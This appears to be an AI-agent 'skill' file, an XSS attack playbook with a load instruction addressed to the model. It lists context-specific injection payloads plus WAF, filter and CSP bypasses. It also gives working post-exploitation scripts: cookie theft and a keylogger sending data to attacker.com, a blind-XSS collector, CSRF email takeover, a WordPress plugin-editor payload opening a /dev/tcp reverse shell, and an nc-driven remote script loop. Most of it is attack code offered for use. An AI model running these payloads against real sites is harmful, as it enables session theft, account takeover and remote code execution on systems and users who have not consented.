npx skills add ...
npx skills add yaklang/hack-skills --skill xss-cross-site-scripting
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
npx skills add yaklang/hack-skills --skill xss-cross-site-scripting
AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows
<script>alert(1)</script>— this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.
Also load SCENARIOS.md when you need:
+ADw-script+AD4-)performance.now() measurementAlso load ADVANCED_XSS_TRICKS.md when you need:
<noscript> parsing differential, form/table restructuringid/name, HTMLCollection, deep property chainsdangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrust*, Next.js SSRBefore broad payload spraying, you can first load:
| Context | First Pick | Backup |
|---|---|---|
| HTML body | <svg onload=alert(1)> | <img src=1 onerror=alert(1)> |
| Quoted attribute | " autofocus onfocus=alert(1)// | " onmouseover=alert(1)// |
| JavaScript string | '-alert(1)-' | '</script><svg onload=alert(1)> |
| URL / href sink | javascript:alert(1) | data:text/html,<svg onload=alert(1)> |
Tag body like title | </title><svg onload=alert(1)> | </textarea><svg onload=alert(1)> |
| SVG / XML sink | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> | XHTML namespace payload |
Identify context before picking a payload. Wrong context = wasted attempts.
| Context | Indicator | Opener | Payload |
|---|---|---|---|
| HTML outside tag | <b>INPUT</b> | <svg onload= | <svg onload=alert(1)> |
| HTML attribute value | value="INPUT" | " close attr | "onmouseover=alert(1)// |
| Inline attr, no tag close | Quoted, > stripped | Event injection | "autofocus onfocus=alert(1)// |
| Block tag (title/script/textarea) | <title>INPUT</title> | Close tag first | </title><svg onload=alert(1)> |
| href / src / data / action | link or form | Protocol | javascript:alert(1) |
| JS string (single quote) | var x='INPUT' | Break string | '-alert(1)-' or '-alert(1)// |
| JS string with escape | Backslash escaping | Double escape | \'-alert(1)// |
| JS logical block | Inside if/function | Close + inject | '}alert(1);{' |
| JS anywhere on page | <script>...INPUT | Break script | </script><svg onload=alert(1)> |
XML page (text/xml) | XML content-type | XML namespace | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
When input reflects in multiple places on the same page — single payload triggers from all points:
Input inserted via .innerHTML, document.write, jQuery .html():
For URL-controlled resource insertion:
When URL itself is reflected in form action:
Inject between .php and ?, using leading /.
Filename injection (when filename is reflected):
SVG upload (stored XSS via image upload accepting SVG):
Metadata injection (when EXIF is reflected):
When page has window.addEventListener('message', ...) without origin validation:
When origin IS checked but uses .includes() or prefix match:
Attacker controls facebook.com.ATTACKER.com subdomain.
Response has text/xml or application/xml:
When there IS a </script> tag later in the page:
ajax.googleapis.com)When {{1+1}} evaluates to 2 on page — classic CSTI indicator:
Relative <script src=...> loads from attacker's server.
When CSP blocks script but allows img:
Leaks subsequent page content to attacker.
When parameter names are reflected (e.g., in JSON output):
Payload is the parameter name, not value.
Test sequence: reflect → encoding behavior → identify filter logic → mutate.
Filter strips <x>...</x>:
Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.
Classic trigger payload (bypasses immediate HTML encoding):
Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.
Every parameter that is not immediately reflected should be tested for blind XSS:
Blind XSS callback payload (remote JS file approach):
Minimal collector (hosted at bxss.js):
Use XSS Hunter or similar blind XSS platform for automated collection.
<h2>, <img>, <table> — are they reflected raw?<iframe src=//attacker.com/c= (no closing >)<%00h2, %0d, %0a, %09, %253C<script> and onerror but NOT <script (without close): <script src=//attacker.com?c=<svg> work? Does <ScRiPt> work?<script> in search, do they filter it in file upload filename? In profile bio?Key insight: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)><img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>https://target.com/page.php/"><svg onload=alert(1)>?param=val"><svg onload=alert(1)>.gif<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/><script src=data:,alert(1)>
<script src=//attacker.com/1.js><script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}<base href="https://attacker.com/"><img src='https://attacker.com/log??"></script><base%20c%3D=href%3Dhttps:\mysite>%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of space"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click<svg/onload=alert(1)>"><script src=//attacker.com/bxss.js></script>var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation insteaddocument.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; doneTest XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions